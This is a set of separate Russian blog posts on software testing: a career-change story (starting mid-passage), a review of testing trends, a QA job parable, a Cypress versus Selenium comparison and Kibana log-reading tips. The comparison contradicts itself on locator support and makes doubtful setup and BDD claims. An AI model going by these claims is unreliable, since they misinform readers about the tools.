Подобранные мной тендеры уходили в соответствующий отдел для проработки. Это и было самым неприятным моментом. Я старалась, но подаст ли компания заявку на подобранные тендеры, зависело уже не от меня. Фактически, я не видела никаких результатов своей работы. Один раз выученных компетенций - общего представления об ИТ - для этой работы было достаточно. Мне не хватало развития.

Все время я думала, что нахожусь не на своем месте. В такие периоды меланхолии я то и дело возвращалась к мыслям о тестировании. Работа в ИТ - это же постоянное самообразование, новые технологии. Как я теперь понимаю, после технического ВУЗа мне не хватало именно этого.

Смена профиля требует времени и усилий. С годами мое отставание от реальной отрасли все увеличивалось. В то же время мне скоро предстояло идти в декрет. Менять работу, а через полгода уходить в отпуск, так и не выйдя за рамки джуна, не было смысла... Так я проработала с тендерами 6 лет.

Дообучение на тестировщика

Все изменилось, когда я действительно ушла в декрет. У меня появилось время, чтобы изучать новое - я обложилась книгами Савина, Куликова и других, начала проходить бесплатные курсы, смотреть отдельные лекции на YouTube. Пробовала даже читать исследовательские туры Уиттакера в оригинале (у книги нет русского перевода) и Как тестируют в Google. Мне понравилось.

К началу 2020 года, когда ребенок уже подрос, я начала искать работу в тестировании.

Кто знает, как бы все сложилось, если бы не коронавирус. Планируя выйти на работу, я рассчитывала, что с маленьким ребенком будут сидеть мои родители. Но из-за COVID-19 не рискнула перевозить их из деревни в город. Так что выйти на полный день даже на удаленку я уже не могла.

Чтобы не сидеть просто так, пошла уже на платные курсы по тестированию. Хотя у меня уже были знания, решила закрепить их и систематизировать в голове, поэтому начала с курса Ольги Назиной - Школы начинающих тестировщиков. Изначально я смотрела на них очень скептически, но там дали много полезной информации - разложили по полочкам. Бесплатные курсы в этом смысле слишком фрагментарны. А здесь было очень много практики, учили работать с разными системами, жестко проверяли домашние задания, которые приходилось по нескольку раз пересдавать. По итогам мне кажется, что надо было с них и начинать, а не терять время на самостоятельные поиски кусков информации.

Когда первые волны короновируса прошли, я вернулась к первоначальному плану - ребенок к тому времени пошел в сад, а я начала искать работу на полный день.

Первые собеседования в новом статусе

Честно скажу, до последнего меня преследовал синдром самозванца. Несмотря на базу в ИТ из ВУЗа, мне все казалось, что я знаю недостаточно, чтобы претендовать даже на позицию джуна. Ну и возраст уже не тот, чтобы кардинально менять работу. Когда джун приходит после ВУЗа, все на это нормально смотрят. А когда тетя за 30 после декрета? Не поздновато-ли?

Но тут помогло сообщество. Я пообщалась в чатах с теми, кто успешно проходит собеседования, и поняла, что по многим вопросам знаю даже больше. И среди новичков в тестировании полно людей старше меня. Зачем к себе придираться? Найти свое призвание никогда не поздно! Если другие устраиваются на работу, то почему я не могу?

Еще до собственных экспериментов со сменой профиля деятельности по отзывам знакомых я слышала, что сложно устроиться, если нет вообще никакого опыта. И чтобы заработать этот опыт, во время пандемии я пошла к знакомому в стартап условно за еду. Несколько месяцев в фоне помогала им тестировать продукт. Кстати, это был мой первый опыт удаленки. Мне так понравилось, что впоследствии я рассматривала только удаленные вакансии.

Период пандемии дал мне время на то, чтобы лучше присмотреться к собеседованиям. Еще до COVID-19 я успела пройти несколько собеседований, но не получила оффера. Проанализировав свои неудачи, я поняла несколько моментов.

Во-первых, я просила очень маленькую зарплату. Я была готова к тому, что меняя профиль деятельности, просяду в деньгах. Но занижала себя слишком сильно. Видимо, это вызывало какие-то подозрения. Когда я это поняла, начала запрашивать адекватные рынку деньги и рекрутеры стали относится ко мне лучше. В итоге, устроившись на позицию джуна, я вообще не потеряла в зарплате по сравнению со своим предыдущим местом работы.

Во-вторых, на паре первых собеседований я очень сильно волновалась. Фидбек по ним был, конечно, плохой - из-за стресса я не могла нормально отвечать на вопросы. Это научило меня тому, что надо брать себя в руки. Как только я начала разговаривать с рекрутерами, как будто на дружеском созвоне, фидбек улучшился и я довольно быстро нашла хорошее место.

В-третьих, не надо бояться отказов. Каждое собеседование - это не экзамен, а возможность лучше узнать потребности работодателя, получить больше опыта и понять, каких знаний не хватает. После каждого отказа я подтягивала то, в чем оказалась не сильна, и шла дальше. Это и помогло в итоге найти свое место.

Сегодня мне нравится то, чем я занимаюсь. Наконец-то я ощущаю себя в своей тарелке. Информации очень много, каждый вечер голова буквально кипит. Но я от этого получаю удовольствие. Планирую несколько лет поработать ручным тестировщиком, чтобы лучше узнать всю эту кухню изнутри, а затем, вероятно, двинуться в сторону автоматизации. Необходимая база для этого у меня есть еще с ВУЗа. Но пока мне еще сложно точно сказать, в какую сторону я больше хочу развиваться.

Автор: Наталья Шилова, Максилект.

P.S. Мы публикуем наши статьи на нескольких площадках Рунета. Подписывайтесь на наши страницы в VK, FB, Instagram или Telegram-канал, чтобы узнавать обо всех наших публикациях и других новостях компании Maxilect.

Всем привет! Недавно я наткнулся на World Quality Report (ссылку поставил в конце, чтобы не пугать вас сразу отчетом на 50 страниц) большой обзор трендов в тестировании 2020-2021 годов. А поскольку мы в Qameta Software сами постоянно сталкиваемся с командами тестирования, которые стараются как-то поправить свои процессы и наладить работу тестирования, я решил оценить, насколько они актуальны в России.

Обзор базируется на результатах 1750 получасовых телефонных интервью с CIO или руководителями технологических подразделений, которые посчитали качество ПО и тестирование критично важным для развития бизнеса.

В этой статье я взял основные тренды из отчета и постарался оценить их с точки зрения того, что происходит в компаниях, с которыми мы сталкиваемся.

1. DevOps и Agile приходит в тестирование

Правда.

Больше релизов больше тестирования. Все больше компаний пытаются вплести тестирование в цикл разработки, построенный на принципах DevOps: нет времени прогонять сотни ручных тестов, приходится думать об автоматизации, инфраструктуре и процессах, которые обеспечат и скорость, и качество, и гибкость.

Именно поэтому в последнее время инструменты для автоматизации тестирования находятся на подъеме: Cypress, Playwright, Pupperteer и многие другие. Тестировщикам тоже приходится меняться и учиться подходам разработчиков: автоматизации, масштабированию и работе по спринтам.

2. Искусственный интеллект и машинное обучение

Пока нет.

Мы ждем прихода ИИ уже давно. Что же, все еще ждем теперь в управлении качеством. Появляются стартапы, фокус которых лежит в области подготовки, генерации и анализа тестовых данных или тестирования сервисов с помощью ИИ. Не верите? Посмотрите на Applitools, Functionize, Synthesized, TestIM или ReportPortal.

Под удар в первую очередь попадает ручное тестирование 90% участников опроса ищут ИИ-решения, ориентированные именно на замену ручного труда в тестировании. Пока мы такого тренда не наблюдаем, вполне вероятно, он придет к нам позже.

3. Оптимизация бюджетов на тестирование

Похоже на правду.

Расходы на тестирование сократились в среднем на 13%. Авторы обзора списывают тягу к оптимизации расходов на COVID-19 и развитие трендов цифровой трансформации, что бы это не значило.

Я бы не винил пандемию. Кажется, что двух предыдущих разделов достаточно, чтобы объяснить оптимизацию количества людей, задействованных в ручном тестировании. А тем, кто остался, в руки попадут инструменты, помогающие работать быстрее и эффективнее: и окружения в облаках, и автоматизация тестов, и пайплайны для их прогонов. В итоге, тестирование должно вернуться в цикл разработки DevOps/Agile.

4. Фокус на автоматизацию тестирования

Правда.

Этот пункт не про автотесты, как можно было подумать. Он про автоматизацию процессов тестирования в целом: от создания тест-кейсов до репортинга. Я писал об этом раньше, этот тренд мы видим как один из самых явных. Меньше людей больше автоматизации.

Этот тренд подтверждается нашими наблюдениями все больше пользователей Allure Report двигаются в сторону автоматизации и инструментов, которые позволяют эту автоматизацию аккуратно вплести в процессы (это мы видим по спросу на TestOps).

Из нюансов только треть респондентов чувствует, что деньги, вложенные в тулинг для тестирования, отбиваются. Непонятно, как они это считали, поэтому нельзя сказать, в чем проблема. Может быть, в неправильно выбранных инструментах. Или в том, что команды не успели к ним привыкнуть. Или в том, что их полезность не сумели продемонстрировать руководству.

5. Управление тестовыми окружениями (ТО) и тестовыми данными (ТД)

Похоже на правду.

Управлять тестовыми данными и тестовыми окружениями сложно, хорошо, что под эту задачу тоже появляются инструменты. Участники исследования смотрят на это развитие с оптимизмом: ТО и ТД уходит в облака; внедряются тулы для управления тестовыми данными (пока преимущественно для маскирования); все чаще используются инструменты виртуализации серверов и данных.

Забавно, что в этой области вопросов больше с юридической точки зрения, чем с технологической.

6. COVID-19 помог компаниям трансформироваться

Неправда.

Было бы странно, если бы менеджеры все вместе заявили о том, что провалили задачу перехода в удаленный режим. Однако мы знаем, что в процессе пострадали многие: сотрудники, инструменты, процессы и т.д.

Хотя в этом разделе есть отдельные интересные наблюдения: например, возрастание требований к тестированию безопасности связывают с пандемией и необходимостью обеспечивать удаленный и безопасный доступ к большему количеству инструментов.

Вместо итогов

В общем, World Quality Report получился скорее интересный, чем нет. Да, где-то есть призывы в духе "нормально делай нормально будет", но в целом рекомендую к ознакомлению. В отчете несколько десятков страниц, из которых я постарался сделать выжимку, так что каждый при внимательном изучении сможет найти интересные детали.

Остается только спросить, какие тренды ощущаете вы? Что происходит в вашем тестировании, и насколько все это совпадает с наблюдениями из отчета.

Знакомьтесь, это Лиза. Несколько лет она работает тестировщиком в большой команде. В исполнительности ей нет равных: быстро схватывает, с интересом учится. Но Лиза созрела для чего-то большего, и так как на прежнем месте расти не получается, сегодня у нее подряд два финальных собеседования на новую работу. Обе позиции интересны и как раз дают простор проявить себя ищут человека, чтобы выстроить процессы, улучшать Quality Control.

День обещает быть насыщенным, вот только ночью Лиза полночи крутилась в постели, никак не могла уснуть. В какой-то момент, она, все-таки, провалилась в сны. И теперь сны эти призрачной тенью ходят за ней, не отпускают мысли. Сначала ей снилось, что она сидит в яме. А сверху монстры. Глядят на нее, не уходят. Один норовит ей руки откусить, второй вот-вот в сердце клюнет, а потом еще и третий подошел, камень на нее толкает запереть хочет. Лиза зажмурилась, руки перед собой выставила, стала думать как из ямы выбираться. Но тут стало светло. Огляделась, а сон уже другой. Вокруг облака, она на горе, вверх лезет. Смотрит, над ней опять монстр, камни мелкие в нее кидает, за ним второй огнем дышит, вперед не пройти. Рядом крутой склон не ухватиться. Неизвестно еще что хуже - в яме пропасть или с горы сорваться. Вдруг стук прямо перед ней кто-то вбивает скальные крючья для страховочного троса. Не разглядеть кто, просто силуэт. И тихим голосом ей в самое ухо обещает: "Прорвемся". Тут Лиза замечает, что на поясе у нее как раз тот самый трос страховочный цеплять себя за крюки.

С еще не отпустившим мозг облегчением Лиза проснулась и пошла собираться.

И вот первое собеседование. Коленки дрожат, слова путаются. Но лишь первые минут 15. Потом Лиза поняла, что все идет наилучшим образом, вопросы как раз ей под стать. В конце наступил ее черед задавать вопросы.

"Мои ребята отлично покрывают все тестами. В них я уверен. Все сильные, самодостаточные. Думаю, мы отлично сработаемся и не будем друг другу мешать", - Team Lead разработчиков отвечал быстро, четко, глядя куда-то в сторону. Он говорил еще что-то, но кажется, фраза "Мы не будем друг другу мешать" зависла в голове Лизы на повторе.

Через два часа, она уже сидела в другом офисе, на втором собеседовании. Некоторые вопросы казались Лизе странными, но в целом все снова проходило ровно и спокойно. И снова Лиза попросила рассказать о команде. Слово друг за другом брали программисты, первый похвалился множеством сертификатов, второй готовностью брать самые сложные задачи, третий оказался душой компании. Последним снова высказался Team Lead. Молчаливый почти все собеседование, он и сейчас сказал немного, лишь слегка наклонился вперед и пообещал: "Ты всегда можешь прийти ко мне, и мы вместе будем внедрять лучшие решения".

Лиза приняла второе предложение о работе.

Мораль рассказа прозрачна и проста, каким бы крутым специалистом вы ни были, там где вас не поддерживают, вам придется сидеть в яме. Это тяжело и отнимает много сил. И работа будто не имеет результата. Там, где вас готовы слушать, можно вкусить плоды своих трудов, и любая вершина будет покорена.

Нет, это не значит, что не нужно браться за сложные проекты, требующие перевоспитания и переобучения команды. Это лишь значит что нужно трезво оценивать свои моральные и профессиональные силы, свои амбиции и готовность к поражениям, прежде чем идти в проект, в котором вас ждут незрелые отношения в области QA и QC. В любом сражении можно победить. Но не хочется, чтоб джуниоры с горящими глазами быстро угасали, пополняя ряды перегоревших синьоров.

Я бы хотел сравнить два наиболее интересных инструмента, которые считаются "геймчейнджерами", из большого списка инструментов для исследования автоматизации, доступных на рынке.

Вот вам вопрос на миллион долларов: является ли Cypress чем-то большим, чем платформа для автоматизации веб-тестов и может ли он заменить Selenium?

В этой статье будет проведено тщательное сравнение, чтобы проиллюстрировать, как оба метода работают для автоматизации тестов и какой метод в различных ситуациях имеет преимущество.

Краткое описание

Cypress - это тестовая веб-платформа нового поколения. Она была разработана на основе Mocha и Chai и представляет собой платформу для сквозного тестирования на основе JavaScript.

Selenium - это платформа для тестирования с открытым исходным кодом, используемая для автоматизации веб-браузера. Selenium WebDriver управляет браузером локально или удаленно и используется для проверки автоматизации пользовательского интерфейса. Другие элементы Selenium часто играют особую роль в отношении надежности и прочности продукта.

Архитектура

Cypress работает в одном цикле выполнения приложения. Node.js. является серверным методом, лежащим в основе Cypress. Процессы Cypress и Node.js постоянно взаимодействуют, синхронизируются и совместно выполняют задачи. Кроме того, Cypress работает на сетевом уровне, интерпретируя и изменяя веб-трафик. Это позволяет Cypress не только редактировать все браузеры, но и обновлять коды, которые могут повлиять на автоматизацию браузеров.

В Selenium, когда мы запускаем сценарий автоматизации Selenium, клиентская библиотека Selenium взаимодействует с Selenium API, который отправляет команду привязки драйверу браузера с помощью проводного протокола JSON. Драйвер браузера использует реестр HTTP для фильтрации всех команд управления HTTP-запроса и HTTP-сервера. Затем команды браузера выполняются в скрипте selenium, а HTTP-сервер отвечает скрипту автоматизированного тестирования.

Исходя из внутренней операционной архитектуры, Selenium выполняет удаленные команды по сети, а Cypress работает в том же сценарии, что и ваша программа.

Установка

В Cypress нет никакой предварительной настройки, просто установите файл.exe и автоматически настройте все драйверы и зависимости. Автоматизация может быть выполнена за считанные минуты. Одной из философий дизайна Cypress было сделать весь процесс тестирования удобным и комфортным для разработчиков, упаковки и объединения.

Чтобы использовать Selenium в проекте автоматизации, необходимо установить библиотеки линковки языков для использования предпочитаемого языка. Кроме того, в отношении браузеров, для которых вы хотите автоматически проводить проверки, вам понадобятся двоичные файлы для WebDriver.

Если мы также примем во внимание время и сложность имплементации, здесь Cypress имеет преимущество над Selenium.

Поддерживаемые языки

Cypress поддерживает только JavaScript. Поддержка других языков отсутствует, что иногда вынуждает пользователя изучать определенный язык сценариев.

Selenium, в свою очередь, поддерживает широкий спектр языков Java, C#, Python, Ruby, R, Dar, Objective-C, Haskell и PHP, а также JavaScript.

Поскольку Selenium поддерживается многими языками, пользователям полезно подумать, какой язык они хотели бы использовать для создания платформы автоматизации.

Кросс-браузерная поддержка

Cypress поддерживает Canary, Chrome, Chromium, Edge, Edge Beta, Edge Canary, Edge Dev, Electron, Firefox (бета-поддержка), Firefox Developer Edition (бета-поддержка), Firefox Nightly (бета-поддержка).

Selenium поддерживает почти все основные браузеры на рынке, что является дополнительным преимуществом Selenium. Ниже приведен список поддерживаемых браузеров: Chrome (все версии), Firefox (54 и новее), Internet Explorer (6 и новее), Opera (10.5 и новее), Safari (10 и новее).

Selenium имеет более качественную кросс-браузерную поддержку по сравнению с Cypress, потому что Selenium обеспечивает поддержку почти всех доступных на рынке браузеров, в то время как в Cypress вы не можете проводить тестирования на Safari.

Параллельное исполнение пакета автоматизированного тестирования

По сравнению с Selenium в параллельной проверке, cypress отстает.

Selenium имеет много вариантов для параллельного исполнения, что для автоматизации тестирования очень важно. Grid широко используется в сообществе QA с TestNG для параллельного исполнения. А контейнеризация Docker может быть быстро интегрирована.

Производительность

Так как у Cypress нет нескольких архитектурных слоев, в отличие, например, от Selenium, он работает в браузере аналогичным образом. Именно поэтому мы наблюдаем его значительное преимущество над Selenium в скорости выполнения тестов.

Selenium имеет несколько уровней кода между тестом и браузером, в чем, например, Cypress проигрывает.

Интеграция процессов автоматизации с CI/CD

Cypress: Возможна, но ограничена. Существует только одна альтернатива для командной строки и библиотеки npm - Mocha. Служба CI должна поддерживать npm, а запись тестов для большинства записей на сервере CI будет платной.

Selenium: Возможно применение CI/CD. Любая библиотека тестов, их запись и шаблоны исполнения могут использоваться и быстро адаптироваться к требованиям.

Лицензирование

Cypress также доступен под лицензией MIT как open-source. Однако, если сравнивать его с Selenium, все функции Cypress не будут бесплатными, например, приборная панель Cypress бесплатна для seed и платна для Sprout, Tree и Forest. (https://www.cypress.io)

Selenium разрешен под лицензией Apache 2.0, правообладатель Software Freedom Conservation.

Поддержка ОС

Cypress: Windows, Mac, Linux

Selenium: Windows, Linux, Mac, Android, iOS

Поддержка BDD и DataDrivenTesting

Selenium поддерживает BDD и data-driven с помощью внешних библиотек, что в Cypress невозможно.

Локаторы для идентификации объектов

Cypress поддерживает только CSS и Xpath.

Cypress поддерживает все виды веб-локаторов, такие как ID, Name, XPath, селекторы CSS, текстовые ссылки, текстовые частичные ссылки и т.д.

Отчет о выполнении

Selenium: Extent, Allure и любые другие дашборды могут быть реализованы в наборах автоматизации.

Cypress: Дашборд - это как раз Cypress.

Окончательный вердикт

Selenium больше ориентирован на специалистов по автоматизации тестирования, а Cypress - на разработчиков для повышения эффективности TDD. Selenium был представлен в 2004 году, поэтому у него больше поддержки экосистемы, чем у Cypress, который был разработан в 2015 году и продолжает расширяться. Когда мы используем Selenium, в браузере можно манипулировать несколькими различными опциями, такими как Cookies, Local Save, Screen, Sizes, Extensions, Cypress control line options, но опция сети может быть обработана только при использовании Cypress.

Однако, вот некоторые из преимуществ, о которых заявляет Cypress:

1. Программа будет делать скриншоты во время проведения экспериментов. Затем мы можем просмотреть каждый запрос в качестве разработчика теста на панели Test Runner, чтобы увидеть, что произошло на каждом этапе.

2. Для тестирования с помощью Cypress не требуется никакого ожидания или режима сна. Прежде чем продолжить, он немедленно ожидает команд и утверждений.

3. Подобно модульным тестовым ситуациям, "шпионы" Cypress могут подтверждать и проверять действия функций, ответы сервера или таймеры по времени. С помощью Cypress вы можете заглушить сетевой трафик и персонализировать вызовы API в соответствии с вашими потребностями.

Надеемся, что приведенные выше пункты помогут определить, какой метод вам лучше использовать и изучить.

В преддверии старта курса "Java QA Engineer. Professional" приглашаем всех желающих на бесплатный двухдневный интенсив, в рамках которого мы рассмотрим CI- и CD- процессы, изучим основные инструменты и ключевые понятия (Server, agents, jobs. Fail fast, Scheduling, WebHooks). Подробно познакомимся с программной системой Jenkins и научимся интегрировать ее с git и Docker.

Записаться на интенсив:

• Что таое CI/CD, обзор популярных серверов и практика в Jenkins. День 1

• Что таое CI/CD, обзор популярных серверов и практика в Jenkins. День 2

Во многих компаниях для сбора и анализа логов используют такой инструмент как Kibana. Но существует проблема которая выражается в том, что этим инструментом редко или почти не пользуются. Почему же так происходит? Дело в том, что человек привык анализировать логи непосредственно на инстансе. Читать логи так сказать из первоисточника. Безусловно это самый лучший способ. И мало кто не любит менять свои привычки. Потому что это своего рода выход из зоны комфорта и к этому не все и не всегда готовы.

Кейсы чтения логов

Но бывают ситуации, когда нет возможности зайти непосредственно на инстанс. Например необходимо проанализировать инцидент случившийся на продакшене и у нас нет доступа к этому окружению по известным всем причинам. Другая ситуация, если сервис работает на операционной системе Windows, а доступ нужен для трех и более сотрудников одновременно. Как мы все хорошо знаем у компании Windows есть политика одновременной работы не более двух человек при входе по RDP (Remote Desktop Protocol). Для того чтобы получить одновременный доступ по RDP большему количеству сотрудников, необходимо купить лицензию, а на это готова пойти далеко не каждая компания.

Стек ELK

Таким образом мы возвращаемся к нашему замечательному инструменту Kibana. Kibana это часть стека ELK, в который помимо неё входят Elasticsearch и Logstash. Kibana используется не только для визуализации данных в различных форматах, но также и для быстрого поиска и анализа логов. И сегодня речь пойдет о том, как комфортно перейти на этот инструмент и какие у него есть скрытые возможности для этого.

Способы и лайфхаки

Для начала можно ввести в поле Search номер какой-нибудь операции и выбрать промежуток времени за который необходимо произвести поиск. В результате этого запроса отобразиться временной график с количеством совпадений этого номера.

Так же можно составлять сложные поисковые запросы. Существует специальный язык запросов, называемый KQL (Kibana Query Language). С помощью этого языка можно составлять многоуровневые запросы, которые помогают отфильтровывать нужную информацию. Например можно выбрать тестовое окружение и задать конкретное его имя. Если необходимо найти какое-нибудь словосочетание, то нам на помощь приходят двойные кавычки. При заключении двух и более слов в двойные кавычки происходит поиск всей фразы целиком.

Более подробную информацию по составлению сложных запросов можно найти на официальном сайте elastic. Для тех кто привык изучать логи в хронологическом порядке, в Kibana тоже есть такая возможность. При нахождении конкретной ошибки в нашем логе, хотелось бы увидеть что происходило до этого и после. Для этого необходимо кликнуть на найденный фрагмент лога и далее нажать на Просмотр. Перед вами откроется список логов, в котором ваш запрос будет подсвечен серым цветом. И будет загружено несколько строчек лога которые предшествовали нашей ошибке.

Эти логи будут внизу. И несколько строчек которые были после нашей ошибки. Эти строчки будут выше нашей ошибки. В Kibana логи читаются снизу вверх в отличии от логов на инстансе, где логи идут сверху вниз. По умолчанию загружаются 5 строчек до и 5 после, но это значение можно изменить и затем нажать кнопку Загрузка. После чего произойдет загрузка указанного количества строк лога выше нашей ошибки. Тоже самое можно сделать и с предыдущими логами.

Дефолтное значение 5 можно изменить в настройках системы перейдя Stack Management > Advanced Settings

Заключение

В данной статье я не преследовал цель научить пользоваться инструментом Kibana. В интернете очень много подробных статей и видео об этом. Да и на официальном сайте elastic есть предостаточно информации. Мне хотелось показать, как комфортно и без особых усилий можно начать пользоваться другим способом чтения логов. И при этом можно решить одновременно несколько задач, начиная от выхода из зоны комфорта и заканчивая сложнейшими запросами в совокупности с быстродействием получения результата.